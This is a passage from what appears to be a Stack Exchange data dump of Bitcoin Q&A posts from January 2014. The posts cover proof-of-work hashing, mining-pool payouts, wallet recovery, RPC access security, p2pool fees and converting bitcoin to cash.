rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=225690.0&lt;/a&gt; for complete info &lt;/p&gt;&#xA;" OwnerUserId="10829" LastEditorUserId="5406" LastEditDate="2015-12-24T10:16:29.053" LastActivityDate="2015-12-24T10:16:29.053" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21329" PostTypeId="1" CreationDate="2014-01-29T05:49:14.443" Score="6" ViewCount="484" Body="&lt;p&gt;in &lt;a href=&quot;https://en.bitcoin.it/wiki/Blocks&quot;&gt;blocks&lt;/a&gt; page it says each block has a solution to solve difficult mathematical puzzle, what is that difficult mathematical puzzle?&lt;/p&gt;&#xA;" OwnerUserId="9773" LastActivityDate="2014-01-29T10:32:28.073" Title="what is the mathematical problem in each block which is difficult to solve?" Tags="|block|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21330" PostTypeId="2" ParentId="21329" CreationDate="2014-01-29T06:25:52.857" Score="5" Body="&lt;p&gt;That difficult mathematical puzzle is finding a block that can legally follow the previous block. To follow the previous block, a block must meet a set of requirements. First, it must contain the hash of the previous block. That means you can't even start solving the problem until the previous block is found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key one is that the hash of the block must meet a target. For example, the hash of a recently-found block is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000000000000000049f4701e8ac6dc62abd4a951363535697f1553963429a28e&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice all those zeroes at the beginning? You would have to try quadrillions of candidate blocks before you find one with a hash with so many leading zero bits.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-01-29T06:25:52.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21332" PostTypeId="2" ParentId="21297" CreationDate="2014-01-29T06:34:28.390" Score="1" Body="&lt;p&gt;A &quot;round&quot; is a block produced by a member of that particular pool.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-01-29T06:34:28.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21334" PostTypeId="2" ParentId="21297" CreationDate="2014-01-29T07:41:51.873" Score="2" Body="&lt;p&gt;A share is a proof of work at the expected difficulty, and can be used in the scope of the pool or of dogecoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difficulty is rather straightforward, if the difficulty goes from 10,000 to 20,000 it becomes twice as difficult to find a block on that network. Pools will accept shares at lower difficulties (say difficulty 1) expecting certain odds on that share being a valid block (in the case of 10,000 difficulty the odds of a difficulty 1 share being a valid block are 10000:1). There are various methods of computing how to pay out rewards for such a share, I will use Bitminter as an example, which like the pool you describe uses rounds to payout, which is referred to as a PPLNSG (Pay Per Last N Groups, or shifts) style pool. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A round will last until a certain expectation of finding a block is met, with bitminter, when a block is found, you are paid proportionally to your shares against those of others in the pool for the last 10 rounds, with a round duration of 0.4 or 40% of the difficulty. If bitminter was a dogecoin pool and doge difficulty was at 10,000, a round would last 4000 difficulty 1 shares. Whenever a block is found, you will be paid for the amount of difficulty 1 shares you submitted over the last 40,000 submitted in the pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The numbers change from pool to pool but hopefully this gives you a little idea on how it works. For more info on other pool payout schemes, check out the top of this article: &lt;a href=&quot;https://en.bitcoin.it/wiki/Comparison_of_mining_pools&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Comparison_of_mining_pools&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-01-29T07:41:51.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21336" PostTypeId="2" ParentId="21329" CreationDate="2014-01-29T07:49:44.247" Score="2" Body="&lt;p&gt;Using SHA256 to hash a string of data is easy, but you can't predict what the hash will be. In the case of bitcoin and it's derivatives, you are trying to find a block header which has a hash below a certain number, represented by the difficulty (more info on this: &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Block_hashing_algorithm&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a SHA 256 hash calculator if you'd like to try hashing random bits of text and see how many 0s you can get in the front: &lt;a href=&quot;http://www.xorbin.com/tools/sha256-hash-calculator&quot; rel=&quot;nofollow&quot;&gt;http://www.xorbin.com/tools/sha256-hash-calculator&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's tough! Thank goodness we don't have to mine by hand anymore!&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-01-29T07:49:44.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21337" PostTypeId="2" ParentId="12943" CreationDate="2014-01-29T10:11:23.503" Score="1" Body="&lt;p&gt;BTCVault (&lt;a href=&quot;http://dswd.github.io/btcvault/&quot; rel=&quot;nofollow&quot;&gt;http://dswd.github.io/btcvault/&lt;/a&gt;). The client is a little old but the concept works great.&lt;/p&gt;&#xA;" OwnerUserId="12845" LastActivityDate="2014-01-29T10:11:23.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21338" PostTypeId="2" ParentId="21329" CreationDate="2014-01-29T10:32:28.073" Score="3" Body="&lt;p&gt;There is no 'problem' or 'puzzle' that's being solved. It's merely a search for some pseudo-random value that is kind of meaningless by itself, it just serves a specific purpose within the context of Bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can think of it as an artificial lottery of sorts. Everybody who participates tries to guess a number. Whoever is the first to guess right, wins the block and receives the prize in bitcoins, and the lottery moves on to the next round. More participants means more numbers to choose from, so the average time it takes before somebody guesses a winning number remains at 10 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, this process is completely meaningless by itself. It's just an approach to enforce an effort requirement, so that nobody can claim an alternative blockchain without doing at least the same amount of work as the rest of the network. This is the way the trustworthiness and non-ambiguity of the transaction history is secured.&lt;/p&gt;&#xA;" OwnerUserId="12520" LastActivityDate="2014-01-29T10:32:28.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21339" PostTypeId="1" CreationDate="2014-01-29T10:39:06.203" Score="0" ViewCount="529" Body="&lt;p&gt;When running (btc-/ltc-/whatever) wallet as daemon, I have to set &quot;rpcuser&quot; and &quot;rpcpassword&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is the option &quot;rpcallowip&quot;, it is recommended to have this value very strict, e.g. &quot;127.0.0.1&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot see any danger setting this value to &quot;&lt;em&gt;.&lt;/em&gt;.*.*&quot; - if anyone guesses my server and credentials, he/she is welcome to mine for my wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is there any danger opening rpcallowip?&lt;/p&gt;&#xA;" OwnerUserId="12846" LastActivityDate="2014-01-29T18:25:27.087" Title="Wallet as daemon, what's the security-concern about &quot;rpcallowip&quot;?" Tags="|wallet|daemon|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21341" PostTypeId="1" CreationDate="2014-01-29T11:29:27.023" Score="1" ViewCount="157" Body="&lt;p&gt;Yesterday, I installed a multibit in my computer and i put some bitcoin in multibit. Some bitcoin put in other site, but a majority of bitcoin it stayed in wallet..&#xA;Today, I wanted to put password in my wallet, but i clicked in close wallet.. I was sad with this situation.. So, i was finding, but it didn't appear...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After to experiment, i created other account and if i closed that wallet, it appeared in open wallet.... &#xA;However, i don't understand where it stays a wallet that disappeared.. what can i do? my address was 17VxARsZCpLYcqxcaaeZQDm6gxY6e1tyXx and it's my last transaction of my wallet: &lt;a href=&quot;http://blockchain.info/pt/address/17VxARsZCpLYcqxcaaeZQDm6gxY6e1tyXx?filter=0&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/pt/address/17VxARsZCpLYcqxcaaeZQDm6gxY6e1tyXx?filter=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can i recover my btc or my wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sorry my english.&#xA;thanks for help..&lt;/p&gt;&#xA;" OwnerUserId="12851" LastActivityDate="2014-01-29T14:15:14.127" Title="MultiBit: I clicked on Close Wallet and now i don't find a wallet" Tags="|wallet|multibit|" AnswerCount="1" CommentCount="0" ClosedDate="2014-02-09T01:39:34.970" ContentLicense="CC BY-SA 3.0" />
  <row Id="21344" PostTypeId="1" CreationDate="2014-01-29T11:45:38.640" Score="1" ViewCount="864" Body="&lt;p&gt;cgminer can be configured to have &lt;a href=&quot;https://github.com/ckolivas/cgminer&quot; rel=&quot;nofollow&quot; title=&quot;multiple pools&quot;&gt;multiple pools&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way, to have as first entry my private wallet, and as second entry a public mining-pool?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing so gives strange output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2014-01-29 12:40:16] Probing for an alive pool&#xA;[2014-01-29 12:40:16] Network diff set to 2.46K&#xA;[2014-01-29 12:40:16] Block change for http://xxx.yyy.zzz.aaa:9332 detection via stratum+tcp://freedom.wemineltc.com:3333 stratum&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my case, pool1 is my private wallet (xxx.yyy.zzz.aaa), pool2 is freedom.wemineltc.com. I wonder why pool2 shows up at all. Removing pool2 from cgminer.conf makes my cgminer work fine on pool1 / my private wallet.&lt;/p&gt;&#xA;" OwnerUserId="12846" LastActivityDate="2014-01-29T11:45:38.640" Title="How can I configure to solo-mine, and use a mining-pool as failover?" Tags="|wallet|mining-pools|cgminer|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21345" PostTypeId="2" ParentId="21206" CreationDate="2014-01-29T11:48:08.247" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;For Litecoin, if memory size is increased in processing the Scrypt&#xA;  algorithm, for example to 384 kB instead of 128 kB (...), would the typical CPU&#xA;  architecture (...) be likely to see a corresponding increase&#xA;  in performance?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, it works the opposite. If you increase memory, which is used by the scrypt to generate a single hash, the time it takes to generate it, in theory, will increase. The time may not increase if the processing unit can fully use its fastest cash in a single data transfer call. However, you need standardised hardware and you would want to deliberately adjust scrypt memory size for it. Which is inconvenient on a global users scale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, it's not up to you, personally, to decide the memory size of scrypt. This is a universal agreement of all litecoin users, that memory size of the scrypt algorithm has to be &lt;em&gt;N&lt;/em&gt; bytes. If you want to use something else, any transaction you issue will never gets validated by any other users. &lt;/p&gt;&#xA;" OwnerUserId="11862" LastActivityDate="2014-01-29T11:48:08.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21347" PostTypeId="1" CreationDate="2014-01-29T13:24:19.720" Score="2" ViewCount="643" Body="&lt;p&gt;Is it any open source Bitcoin exchange code is available&lt;/p&gt;&#xA;" OwnerUserId="11653" LastActivityDate="2014-01-29T15:40:39.447" Title="Is it any open source Bitcoin exchange available" Tags="|exchanges|open-source|" AnswerCount="2" CommentCount="0" ClosedDate="2014-01-30T16:06:00.037" ContentLicense="CC BY-SA 3.0" />
  <row Id="21348" PostTypeId="2" ParentId="21347" CreationDate="2014-01-29T14:05:41.050" Score="1" Body="&lt;p&gt;Justcoin uses &lt;a href=&quot;https://github.com/justcoin/snow&quot; rel=&quot;nofollow&quot;&gt;snow&lt;/a&gt; which is open sorce. I don't know if you are asking about Justcoin or Snow, either way, any of those two should be the answer to your question.&lt;/p&gt;&#xA;" OwnerUserId="12249" LastActivityDate="2014-01-29T14:05:41.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21349" PostTypeId="2" ParentId="21341" CreationDate="2014-01-29T14:15:14.127" Score="0" Body="&lt;p&gt;Have a read of the support topic that describes where your wallet is, which is here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://multibit.org/en/help/v0.5/help_support_missingWallets.html&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/en/help/v0.5/help_support_missingWallets.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2014-01-29T14:15:14.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21350" PostTypeId="2" ParentId="21320" CreationDate="2014-01-29T14:20:18.927" Score="10" Body="&lt;p&gt;XBT is used because the ISO 4217 (the standard for currency codes) alphabetic code XBC is already in use.  It stands for the &lt;a href=&quot;https://en.wikipedia.org/wiki/European_Unit_of_Account_9&quot;&gt;European Unit of Account&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.currency-iso.org/en/home/tables/table-a1.html&quot;&gt;Here's the Official table of ISO 4217 codes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The X indicates it's not a national currency, but rather a supranational currency (like the East Caribbean Dollar, XCD) or something else that isn't quite a currency, like IMF special drawing rights (XDR) or precious metals (XAU is gold, XAG is silver, etc.) for which exchange rates are of interest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;X is used for this because ISO 3166, the standard for country codes, never uses X as the first letter and the currency code is the 2 letter code and usually the first letter of the currency name.  For example, JP is the code for Japan, so the code for the Yen is JPY.  An exception example is the Mexican Peso, code MXN.  MX is the code for Mexico, and the N stands for New Peso.&lt;/p&gt;&#xA;" OwnerUserId="3310" LastEditorUserId="3310" LastEditDate="2014-03-13T19:26:17.727" LastActivityDate="2014-03-13T19:26:17.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21351" PostTypeId="2" ParentId="18794" CreationDate="2014-01-29T14:59:12.750" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I have just started Bitcoin mining and am using GUI Miner. I have an AMD 7870 OC edition that is mining for me. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Welcome to mining. It's a blast.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Currently i'm getting 380 mhash/s, is this good? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For Bitcoin, it's unlikely to be profitable unless your electricity cost is very low. See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/118/how-much-bitcoin-will-i-mine-right-now-with-hardware-x&quot;&gt;How much Bitcoin will I mine right now with hardware X?&lt;/a&gt; for more information.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also how many of the accepted shares are worth 1BTC?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;None. It is unlikely that you will see 1 BTC total mining on that card during its lifetime. See the above link for why.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-01-29T14:59:12.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21353" PostTypeId="2" ParentId="21347" CreationDate="2014-01-29T15:40:39.447" Score="0" Body="&lt;p&gt;openex is another open source exchange but the trade engine is not free and you should pay for that. Can be found on &lt;a href=&quot;https://github.com/r3wt/openex&quot; rel=&quot;nofollow&quot;&gt;https://github.com/r3wt/openex&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-01-29T15:40:39.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21354" PostTypeId="1" CreationDate="2014-01-29T16:08:01.053" Score="1" ViewCount="3178" Body="&lt;p&gt;I'm running a p2pool node for dogecoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since running the node costs me some money, I set up a small fee with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./run_p2pool.py --give-author 0 --net dogecoin -f 0.5 -a DSomeDogeAddressIOwn DOGEUSER DOGEPW &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I don't seem to get any fees.&#xA;The local hashrate is around 10 MH/s, so I should get at least a few dogecoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I used this setup: &lt;a href=&quot;http://doges.org/index.php/topic,5586.0.html&quot; rel=&quot;nofollow&quot;&gt;http://doges.org/index.php/topic,5586.0.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is running on an Ubuntu 12.04 Server, everything else works.&#xA;When I use the webinterface, &quot;&lt;a href=&quot;http://example.com:22550/fee&quot; rel=&quot;nofollow&quot;&gt;http://example.com:22550/fee&lt;/a&gt;&quot; displays '0.5' as expected&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something? &lt;/p&gt;&#xA;" OwnerUserId="12858" LastEditorUserId="12858" LastEditDate="2014-01-29T16:22:49.723" LastActivityDate="2014-03-01T16:48:06.147" Title="How do I set up a fee for my p2pool node?" Tags="|p2pool|dogecoin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21356" PostTypeId="2" ParentId="18955" CreationDate="2014-01-29T16:24:29.490" Score="0" Body="&lt;p&gt;You can definitely mine with that card. My recommendation is you look up cudaminer. With the same card as you I get about 140 khash/s mining litecoins (using scrypt). I don't remember which instructions I used to set it up.&lt;/p&gt;&#xA;" OwnerUserId="12860" LastActivityDate="2014-01-29T16:24:29.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21357" PostTypeId="2" ParentId="21354" CreationDate="2014-01-29T16:31:37.500" Score="1" Body="&lt;p&gt;Found out why I'm not seeing the fees:&#xA;The fee payouts are of type 'mined' so in the client history, they don't show up with an address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dogechain.info/chain/Dogecoin/q/addressbalance/DMYSTUPIDADRRESS&quot; rel=&quot;nofollow&quot;&gt;http://dogechain.info/chain/Dogecoin/q/addressbalance/DMYSTUPIDADRRESS&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Told me that there must have come some coins in.&#xA;Wow, such joy!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;seems like the new client shows to which address it was mined.&lt;/p&gt;&#xA;" OwnerUserId="12858" LastEditorUserId="12858" LastEditDate="2014-01-30T14:16:18.527" LastActivityDate="2014-01-30T14:16:18.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21359" PostTypeId="2" ParentId="12997" CreationDate="2014-01-29T16:57:42.343" Score="1" Body="&lt;p&gt;The only thing you need keep between installations of bitcoin is the wallet.dat file, which contains the keys required to spend your coins. If you are reinstalling bitcoin you can use bootstrap.dat in versions after 0.7.1 (at the time of writing the current stable version is 0.8.6).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how to use bootstrap.dat to avoid the painfully long block chain download for a new installation: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=145386.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=145386.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if you've already downloaded some blocks, bitcoin will check for bootstrap.dat and sync. At the time of writing the file is 13+ gb, but you can delete it once that your client has verified all the blocks.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-01-29T16:57:42.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21360" PostTypeId="2" ParentId="21339" CreationDate="2014-01-29T18:25:27.087" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;if anyone guesses my server and credentials, he/she is welcome to mine&#xA;  for my wallet.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;He/she can also call all other RPC commands. For example, &lt;code&gt;sendtoaddress&lt;/code&gt;. So, if your wallet is unlocked you can loose your coins.&lt;/p&gt;&#xA;" OwnerUserId="12224" LastActivityDate="2014-01-29T18:25:27.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21361" PostTypeId="2" ParentId="14212" CreationDate="2014-01-29T20:05:27.347" Score="1" Body="&lt;p&gt;Am I correct to assume you mean shopping &lt;em&gt;cart&lt;/em&gt; interface? If so I have a good recommendation. I am not affiliated with coinpayments.net besides being a very happy customer of theirs. They charge 0.5% + network fee to process a payment and send it to the address of your choice or hold it for you until you decide where to withdraw it to. They do all the payment processing for A LOT of coins and have tons of shopping cart plugins: &lt;a href=&quot;https://www.coinpayments.net/merchant-tools-plugins&quot; rel=&quot;nofollow&quot;&gt;https://www.coinpayments.net/merchant-tools-plugins&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a while I was trying to get coinbase API to work, as they charge 0% to process the &quot;first $1,000,000&quot; :P but it's only bitcoin and I ended up wasting days trying to configure it and get their support team to send me a valid certificate. Coinbase is great for converting to USD but their merchant services are a bit lacking. Coinpayments has amazing support and unless you're processing $100,000s 0.5% is absolutely worth it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: They also will process the payment even if a client makes a payment to you and then leaves the page. Their sessions last 5 hours which can be risky during a big crash but I have not had any problems with them.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-01-29T20:05:27.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21362" PostTypeId="2" ParentId="21107" CreationDate="2014-01-29T20:12:38.570" Score="0" Body="&lt;p&gt;Use walletnotify instead of polling. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/12380/how-to-do-address-callbacks&quot;&gt;how to do address callbacks?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's basically a argument you can specify and Bitcoin will the specified program upon receiving a transaction (&lt;strong&gt;BOTH receives and sends from an address in wallet get notified&lt;/strong&gt;). So you just setup a small script to run and point to it in &lt;code&gt;bitcoin.conf&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure to check for duplicates as walletnotify sends notifications for when a txn is first received (unconfirmed) and when it receives a confirmation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also &lt;code&gt;blocknotify&lt;/code&gt; does the same thing as walletnotify but for blocks, may be useful for checking unconfirmed transactions.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-01-29T20:12:38.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21363" PostTypeId="1" CreationDate="2014-01-29T21:18:32.193" Score="2" ViewCount="224" Body="&lt;p&gt;I am interested in buying bitcoins to easily and quickly send money to family in Bulgaria. Would they have to convert it to euros and only be able to make online purchases? Or is there some way they could get physical cash from converting their bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="12869" LastEditorUserId="51948" LastEditDate="2017-12-24T03:23:49.657" LastActivityDate="2018-06-21T08:08:39.950" Title="If I sent Bitcoins to family in Europe, would they be able to convert it to physical cash?" Tags="|sell-bitcoins|cash|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21364" PostTypeId="2" ParentId="21363" CreationDate="2014-01-29T21:54:42.170" Score="0" Body="&lt;p&gt;There are companies for selling bitcoin for euros. As I've only ever wanted USD, I don't know which are best. Either you or your family will need to do your homework and find a service that is reliable. Some companies who do this are unreliable or slow. Just Google &quot;sell BTC for euro&quot; and find one with good reviews. Bitcointalk is a good place to check. If no one is complaining about a company there, the the company is probably legit.&lt;/p&gt;&#xA;" OwnerUserId="12616" LastActivityDate="2014-01-29T21:54:42.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21365" PostTypeId="2" ParentId="21363" CreationDate="2014-01-29T21:55:44.557" Score="1" Body="&lt;p&gt;When bitcoins are converted to local currency (EUR, USD, BGN, etc.) and you want to take control of them yourself (as opposed to it being stored as that currency in the exchange you're using), they typically are sent to your bank account. From there, you could easily withdraw the money as cash. There's nothing that would make them have euros but only be able to spend them online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One place to trade the bitcoins for various local currencies is &lt;a href=&quot;https://localbitcoins.com/country/BG&quot; rel=&quot;nofollow&quot;&gt;LocalBitcoins&lt;/a&gt;. You might also see if &lt;a href=&quot;https://www.mtgox.com/&quot; rel=&quot;nofollow&quot;&gt;Mt.Gox&lt;/a&gt; has options to transfer to bank accounts in Bulgaria.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You and/or your family should research the available options, and how they compare to more traditional international money transfers and choose what works for you. While the bitcoin transaction itself has only a tiny fee, buying and selling might be more trouble and expense than it's worth.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-01-29T21:55:44.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21366" PostTypeId="1" AcceptedAnswerId="21368" CreationDate="2014-01-29T22:24:35.113" Score="2" ViewCount="320" Body="&lt;p&gt;Who wrote (and owns) the actual bit coin mining code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the origins is not crystal clear, it will be very difficult to explain its use to ordinary everyday people.&lt;/p&gt;&#xA;" OwnerUserId="12871" LastActivityDate="2014-01-29T23:07:31.977" Title="Who wrote the actual bitcoin software?" Tags="|bitcoind|client|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21367" PostTypeId="2" ParentId="19619" CreationDate="2014-01-29T22:45:58.873" Score="0" Body="&lt;p&gt;A wallet is defined as a collection of private keys (with or without additional data). You can have multiple addresses in a paper wallet, just like you can have multiple addresses in a computer wallet. You can also have multiple paper wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hacking into your computer wallet allows stealing all the funds in all its addresses, just as stealing your paper wallet allows stealing all the funds in all its addresses. But stealing a paper wallet is considered harder than hacking into a computer wallet.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-01-29T22:45:58.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21368" PostTypeId="2" ParentId="21366" CreationDate="2014-01-29T23:07:31.977" Score="4" Body="&lt;p&gt;You can find a list of contributors to the official bitcoin software here: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/graphs/contributors&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/graphs/contributors&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Over 160 people have contributed to writing the bitcoin software, not counting the ones like Satoshi him/themselves who wrote the initial version of the program. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the important part is that many more people have actually read and reviewed the source code. You can review it yourself if you learn how to program, and judge for yourself that the software is doing what it actually claims to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it doesn't matter at all that we don't know who initially wrote it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you read or heard about a great idea somewhere, would you discard it simply because you don't know who actually had the idea? If the idea is useful and it makes sense, it should be used regardless of the creator.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-01-29T23:07:31.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21369" PostTypeId="2" ParentId="20978" CreationDate="2014-01-29T23:09:09.653" Score="1" Body="&lt;p&gt;Considering adoption of bitcoin seems to be increasing exponentially, as long as all other things stay the same, bitcoin's value is likely to increase proportionately (until market saturation). &lt;a href=&quot;https://bitcointalk.org/index.php?topic=366214.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=366214.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only worry I have is the coming regulation. If you look at the period from the middle of Nov to now, you can get an idea of what regulation can do to bitcoin. China made it illegal to sell BTC for their currency and the price dropped around 50% over a month or so and it's still pretty volatile. With larger companies like Overstock starting to accept them, the US is starting to feel some pressure to clarify their position on crypto. My biggest worry is that their decision, depending on how restrictive it is, has the possibility to make BTC almost worthless. The choke points like exchanges are currently vulnerable to being shut down by money laundering laws.&lt;/p&gt;&#xA;" OwnerUserId="12616" LastActivityDate="2014-01-29T23:09:09.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21371" PostTypeId="2" ParentId="18102" CreationDate="2014-01-29T23:23:00.693" Score="13" Body="&lt;p&gt;There are three main types of wallets:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;non-deterministic (random) wallets&lt;/li&gt;&#xA;&lt;li&gt;sequential deterministic wallets&lt;/li&gt;&#xA;&lt;li&gt;hierarchical deterministic wallets&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;With a non-deterministic (random) wallet, all the private/public keypairs are generated randomly. The wallet may generate 100 random private keys as soon as it is initialized, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a sequential deterministic wallet, a passphrase or sequence of characters is randomly generated to act as a seed. It is then repeatedly incremented and hashed to generate new private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a hierarchical deterministic wallet, a single keypair is created initially and is known as the master keypair. This master keypair is used to generate child keypairs (remarkably, new bitcoin addresses can be generated using just the public key).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a more in-depth explanation: &lt;a 